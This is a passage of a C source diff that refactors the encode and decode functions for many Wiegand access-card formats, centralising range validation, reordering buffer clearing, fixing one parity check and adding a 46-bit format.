(!validate_card_limit(format_idx, card)) return false; packed->Length = 32; // Set number of bits set_bit_by_position(packed, 1, 1); // Always 1 @@ -469,11 +447,12 @@ static bool Pack_Kastle(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_Kastle(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 32) return false; // Wrong length? Stop here. if (get_bit_by_position(packed, 1) != 1) return false; // Always 1 in this format + memset(card, 0, sizeof(wiegand_card_t)); + card->IssueLevel = get_linear_field(packed, 2, 5); card->FacilityCode = get_linear_field(packed, 7, 8); card->CardNumber = get_linear_field(packed, 15, 16); @@ -483,13 +462,10 @@ static bool Unpack_Kastle(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_Kantech(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Kantech(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 32; set_linear_field(packed, card->FacilityCode, 7, 8); @@ -500,21 +476,19 @@ static bool Pack_Kantech(wiegand_card_t *card, wiegand_message_t *packed, bool p } static bool Unpack_Kantech(wiegand_message_t *packed, wiegand_card_t *card) { + if (packed->Length != 32) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 32) return false; // Wrong length? Stop here. card->FacilityCode = get_linear_field(packed, 7, 8); card->CardNumber = get_linear_field(packed, 15, 16); return true; } -static bool Pack_D10202(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_D10202(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x007F) return false; // Can't encode FC. - if (card->CardNumber > 0x00FFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 33; // Set number of bits set_linear_field(packed, card->FacilityCode, 1, 7); @@ -527,10 +501,11 @@ static bool Pack_D10202(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_D10202(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 33) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 8, 24); card->FacilityCode = get_linear_field(packed, 1, 7); card->ParityValid = @@ -539,13 +514,10 @@ static bool Unpack_D10202(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_H10306(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_H10306(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 34; // Set number of bits packed->Bot |= (card->CardNumber & 0xFFFF) << 1; @@ -559,10 +531,11 @@ static bool Pack_H10306(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_H10306(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 34) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 16); card->CardNumber = get_linear_field(packed, 17, 16); @@ -573,13 +546,10 @@ static bool Unpack_H10306(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_N10002(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_N10002(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 34; // Set number of bits set_linear_field(packed, card->FacilityCode, 1, 16); @@ -598,10 +568,11 @@ static bool Pack_N10002(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_N10002(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 34) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 16); card->CardNumber = get_linear_field(packed, 17, 16); @@ -612,13 +583,10 @@ static bool Unpack_N10002(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_C1k35s(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_C1k35s(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 35; // Set number of bits packed->Bot |= (card->CardNumber & 0x000FFFFF) << 1; @@ -633,10 +601,11 @@ static bool Pack_C1k35s(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_C1k35s(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 35) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = (packed->Bot >> 1) & 0x000FFFFF; card->FacilityCode = ((packed->Mid & 1) << 11) | ((packed->Bot >> 21)); card->ParityValid = @@ -646,13 +615,10 @@ static bool Unpack_C1k35s(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_H10320(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0) return false; // Can't encode FC. (none in this format) - if (card->CardNumber > 99999999) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 37; // Set number of bits @@ -681,13 +647,14 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 37) return false; // Wrong length? Stop here. if (get_bit_by_position(packed, 0) != 1) { return false; } + memset(card, 0, sizeof(wiegand_card_t)); + // This card is BCD-encoded rather than binary. Get the 4-bit groups independently. for (uint32_t idx = 0; idx < 8; idx++) { uint64_t val = get_linear_field(packed, idx * 4, 4); @@ -707,13 +674,10 @@ static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_S12906(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_S12906(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFF) return false; // Can't encode FC. - if (card->IssueLevel > 0x03) return false; // Can't encode IL. - if (card->CardNumber > 0x00FFFFFF) return false; // Can't encode CN. - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 36; // Set number of bits set_linear_field(packed, card->FacilityCode, 1, 8); @@ -727,10 +691,10 @@ static bool Pack_S12906(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_S12906(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 36) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 8); card->IssueLevel = get_linear_field(packed, 9, 2); card->CardNumber = get_linear_field(packed, 11, 24); @@ -740,13 +704,10 @@ static bool Unpack_S12906(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_Sie36(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Sie36(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x0003FFFF) return false; // Can't encode FC. - if (card->CardNumber > 0x0000FFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 36; // Set number of bits set_linear_field(packed, card->FacilityCode, 1, 18); @@ -763,25 +724,23 @@ static bool Pack_Sie36(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_Sie36(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 36) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 18); card->CardNumber = get_linear_field(packed, 19, 16); card->ParityValid = (get_bit_by_position(packed, 0) == oddparity32(get_nonlinear_field(packed, 23, (uint8_t[]) {1, 3, 4, 6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28, 30, 31, 33, 34}))) && - (get_bit_by_position(packed, 35) == oddparity32(get_nonlinear_field(packed, 23, (uint8_t[]) {1, 2, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20, 22, 23, 25, 26, 28, 29, 31, 32, 34}))); + (get_bit_by_position(packed, 35) == evenparity32(get_nonlinear_field(packed, 23, (uint8_t[]) {1, 2, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20, 22, 23, 25, 26, 28, 29, 31, 32, 34}))); return true; } -static bool Pack_C15001(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_C15001(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x000000FF) return false; // Can't encode FC. - if (card->CardNumber > 0x0000FFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0x000003FF) return false; // Can't encode OEM. + if (!validate_card_limit(format_idx, card)) return false; if (card->OEM == 0) card->OEM = 900; @@ -798,12 +757,11 @@ static bool Pack_C15001(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_C15001(wiegand_message_t *packed, wiegand_card_t *card) { + + if (packed->Length != 36) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); - - if (packed->Length != 36) - return false; // Wrong length? Stop here. - card->OEM = get_linear_field(packed, 1, 10); card->FacilityCode = get_linear_field(packed, 11, 8); card->CardNumber = get_linear_field(packed, 19, 16); @@ -813,13 +771,10 @@ static bool Unpack_C15001(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_H10302(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_H10302(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0) return false; // Can't encode FC. (none in this format) - if (card->CardNumber > 0x00000007FFFFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 37; // Set number of bits set_linear_field(packed, card->CardNumber, 1, 35); @@ -831,10 +786,10 @@ static bool Pack_H10302(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_H10302(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 37) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 1, 35); card->ParityValid = (get_bit_by_position(packed, 0) == evenparity32(get_linear_field(packed, 1, 18))) && @@ -842,13 +797,10 @@ static bool Unpack_H10302(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_P10004(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_P10004(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x00001FFF) return false; // Can't encode FC. - if (card->CardNumber > 0x0003FFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 37; // Set number of bits @@ -861,23 +813,21 @@ static bool Pack_P10004(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_P10004(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 37) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 13); card->CardNumber = get_linear_field(packed, 14, 18); // unknown parity scheme return true; } -static bool Pack_H10304(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_H10304(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x0000FFFF) return false; // Can't encode FC. - if (card->CardNumber > 0x0007FFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 37; // Set number of bits @@ -892,10 +842,11 @@ static bool Pack_H10304(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_H10304(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 37) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 16); card->CardNumber = get_linear_field(packed, 17, 19); card->ParityValid = @@ -904,13 +855,10 @@ static bool Unpack_H10304(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_HGeneric37(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_HGeneric37(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0) return false; // Not used in this format - if (card->CardNumber > 0x0007FFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 37; // Set number of bits @@ -942,11 +890,12 @@ static bool Pack_HGeneric37(wiegand_card_t *card, wiegand_message_t *packed, boo } static bool Unpack_HGeneric37(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 37) return false; // Wrong length? Stop here. if (get_bit_by_position(packed, 36) != 1) return false; // Always 1 in this format + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 4, 32); card->ParityValid = (get_bit_by_position(packed, 0) == evenparity32(get_nonlinear_field(packed, 8, (uint8_t[]) {4, 8, 12, 16, 20, 24, 28, 32}))) && @@ -956,13 +905,51 @@ static bool Unpack_HGeneric37(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_MDI37(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_H800002(int format_idx, wiegand_card_t *card, + wiegand_message_t *packed, bool preamble) { + int even_parity = 0; memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x0000F) return false; // Can't encode FC. - if (card->CardNumber > 0x1FFFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) { + return false; + } + + packed->Length = 46; + set_linear_field(packed, card->FacilityCode, 1, 14); + set_linear_field(packed, card->CardNumber, 15, 30); + + // Parity over 44 bits + even_parity = evenparity32((packed->Bot >> 1) ^ (packed->Mid & 0x1fff)); + set_bit_by_position(packed, even_parity, 0); + // Invert parity for setting odd parity + set_bit_by_position(packed, even_parity ^ 1, 45); + if (preamble) { + return add_HID_header(packed); + } + return true; +} + +static bool Unpack_H800002(wiegand_message_t *packed, wiegand_card_t *card) { + if (packed->Length != 46) { + return false; // Wrong length? Stop here. + } + + int even_parity = 0; + memset(card, 0, sizeof(wiegand_card_t)); + + card->FacilityCode = get_linear_field(packed, 1, 14); + card->CardNumber = get_linear_field(packed, 15, 30); + even_parity = evenparity32((packed->Bot >> 1) ^ (packed->Mid & 0x1fff)); + card->ParityValid = get_bit_by_position(packed, 0) == even_parity; + // Invert logic to compare against oddparity + card->ParityValid &= get_bit_by_position(packed, 45) != even_parity; + return true; +} + +static bool Pack_MDI37(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { + memset(packed, 0, sizeof(wiegand_message_t)); + + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 37; // Set number of bits @@ -977,10 +964,10 @@ static bool Pack_MDI37(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_MDI37(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 37) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 3, 4);; card->CardNumber = get_linear_field(packed, 7, 29); @@ -991,14 +978,11 @@ static bool Unpack_MDI37(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_P10001(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_P10001(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 40; // Set number of bits set_linear_field(packed, 0xF, 0, 4); @@ -1017,10 +1001,10 @@ static bool Pack_P10001(wiegand_card_t *card, wiegand_message_t *packed, bool pr static bool Unpack_P10001(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 40) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 16, 16); card->FacilityCode = get_linear_field(packed, 4, 12); card->ParityValid = ( @@ -1032,14 +1016,11 @@ static bool Unpack_P10001(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_C1k48s(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_C1k48s(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x003FFFFF) return false; // Can't encode FC. - if (card->CardNumber > 0x007FFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 48; // Set number of bits packed->Bot |= (card->CardNumber & 0x007FFFFF) << 1; @@ -1056,10 +1037,10 @@ static bool Pack_C1k48s(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_C1k48s(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 48) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = (packed->Bot >> 1) & 0x007FFFFF; card->FacilityCode = ((packed->Mid & 0x00003FFF) << 8) | ((packed->Bot >> 24)); card->ParityValid = @@ -1069,14 +1050,11 @@ static bool Unpack_C1k48s(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_CasiRusco40(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_CasiRusco40(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFFFFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 40; // Set number of bits set_linear_field(packed, card->CardNumber, 1, 38); @@ -1087,23 +1065,21 @@ static bool Pack_CasiRusco40(wiegand_card_t *card, wiegand_message_t *packed, bo } static bool Unpack_CasiRusco40(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 40) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 1, 38); return true; } -static bool Pack_Optus(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Optus(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { + + if (!validate_card_limit(format_idx, card)) return false; memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x3FF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format - packed->Length = 34; // Set number of bits set_linear_field(packed, card->CardNumber, 1, 16); set_linear_field(packed, card->FacilityCode, 22, 11); @@ -1114,23 +1090,21 @@ static bool Pack_Optus(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_Optus(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 34) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 1, 16); card->FacilityCode = get_linear_field(packed, 22, 11); return true; } -static bool Pack_Smartpass(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Smartpass(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x3FF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0x7) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 34; // Set number of bits @@ -1143,24 +1117,22 @@ static bool Pack_Smartpass(wiegand_card_t *card, wiegand_message_t *packed, bool } static bool Unpack_Smartpass(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 34) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 13); card->IssueLevel = get_linear_field(packed, 14, 3); card->CardNumber = get_linear_field(packed, 17, 16); return true; } -static bool Pack_bqt34(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_bqt34(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 34; // Set number of bits @@ -1180,10 +1152,11 @@ static bool Pack_bqt34(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_bqt34(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 34) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 8); card->CardNumber = get_linear_field(packed, 9, 24); @@ -1193,14 +1166,11 @@ static bool Unpack_bqt34(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_bqt38(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_bqt38(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // 12 bits - if (card->CardNumber > 0x3FFFF) return false; // 19 bits - if (card->IssueLevel > 0x7) return false; // 4 bit - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 38; // Set number of bits @@ -1221,10 +1191,11 @@ static bool Pack_bqt38(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_bqt38(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 38) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 24, 13); card->CardNumber = get_linear_field(packed, 1, 19); card->IssueLevel = get_linear_field(packed, 20, 4); @@ -1235,14 +1206,11 @@ static bool Unpack_bqt38(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_iscs38(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x3FF) return false; // 12 bits - if (card->CardNumber > 0xFFFFFF) return false; // 19 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0x7) return false; // 4 bit + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 38; // Set number of bits @@ -1263,10 +1231,11 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_iscs38(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 38) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 5, 10); card->CardNumber = get_linear_field(packed, 15, 22); card->OEM = get_linear_field(packed, 1, 4); @@ -1277,14 +1246,11 @@ static bool Unpack_iscs38(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_pw39(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_pw39(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFFF) return false; // 12 bits - if (card->CardNumber > 0xFFFFF) return false; // 19 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // 4 bit + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 39; // Set number of bits @@ -1304,10 +1270,11 @@ static bool Pack_pw39(wiegand_card_t *card, wiegand_message_t *packed, bool prea } static bool Unpack_pw39(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 39) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 17); card->CardNumber = get_linear_field(packed, 18, 20); @@ -1317,15 +1284,11 @@ static bool Unpack_pw39(wiegand_message_t *packed, wiegand_card_t *card) { return true; } - -static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_bc40(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0x7F) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 40; // Set number of bits @@ -1345,10 +1308,12 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea } static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 40) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + + card->OEM = get_linear_field(packed, 0, 7); card->FacilityCode = get_linear_field(packed, 7, 12); card->CardNumber = get_linear_field(packed, 19, 19); @@ -1358,26 +1323,11 @@ static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) { return true; } - -static bool step_parity_check(wiegand_message_t *packed, int start, int length, bool even_parity) { - bool parity = even_parity; - for (int i = start; i < start + length; i += 2) { - // Extract 2 bits - bool bit1 = get_bit_by_position(packed, i); - bool bit2 = get_bit_by_position(packed, i + 1); - - // Calculate parity for these 2 bits - parity ^= (bit1 ^ bit2); - } - return parity; -} - -static bool Pack_Avig56(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Avig56(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { 